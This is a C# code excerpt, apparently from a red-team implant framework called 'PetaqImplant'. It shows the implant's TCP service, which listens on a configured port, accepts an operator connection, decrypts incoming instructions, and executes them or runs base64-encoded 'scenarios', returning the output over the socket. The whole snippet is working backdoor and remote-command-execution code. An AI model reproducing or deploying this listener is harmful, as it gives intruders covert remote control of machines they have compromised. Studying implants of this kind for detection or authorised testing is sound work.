public override void Start()
{
try
{
// Setting up the variables for listener
ListenPort = int.Parse(Program.configuration["LISTENPORT"]);
// Setting the service status
Status = true;
// Get a new session link.
while (Status)
{
// Listener is configuring
TCPService = new TcpListener(IPAddress.Any, ListenPort);
// Start listening for client requests.
TCPService.Start();
Console.Error.WriteLine("Waiting for linking... ");
// Perform a blocking call to accept requests.
TCPClient = TCPService.AcceptTcpClient();
Console.Error.WriteLine("The implant is being linked.");
LinkStatus = true;
Console.Error.WriteLine("Stopping the service as the implant is being linked.");
// Stopping the listener as the implant is being linked.
TCPService.Stop();
// Read stream as string and process
while (LinkStatus)
{
// Get a stream object for reading and writing
NetworkStream stream = TCPClient.GetStream();
// Creating StreamString class for string based communications
TCPClientStream = new StreamString(stream);
//Instruction received from the TCP client...
string instruction = TCPClientStream.ReadString();
instruction = Common.Decrypt(instruction);
// If scenario is requested call scenario, otherwise run instructions
if (instruction.StartsWith("scenario"))
{
if (Regex.Split(instruction, " ").Length < 3)
{
// Set the socket as the Console output
Program.consoleIO = Console.Out;
Console.SetOut(new SocketWriter());
// Raise the error
Console.WriteLine("Usage: scenario file filepath");
}
else
{
// scenario instruction format:
// scenario file BASE64STRING
string scenario_b64 = Regex.Split(instruction, " ")[2];
// send the Base64 encoded scenario to run
PetaqImplant.Scenario.Run(scenario_b64);
}
}
else
{
// run the instruction received
PetaqImplant.Instructions.Instruct(instruction, new SocketWriter());
}
}
}
}
catch (Exception e)
{
Console.Error.WriteLine("TCP Service Exception on Receive: " + e);
Status = false;
LinkStatus = false;
}
finally
{
Stop();
}
}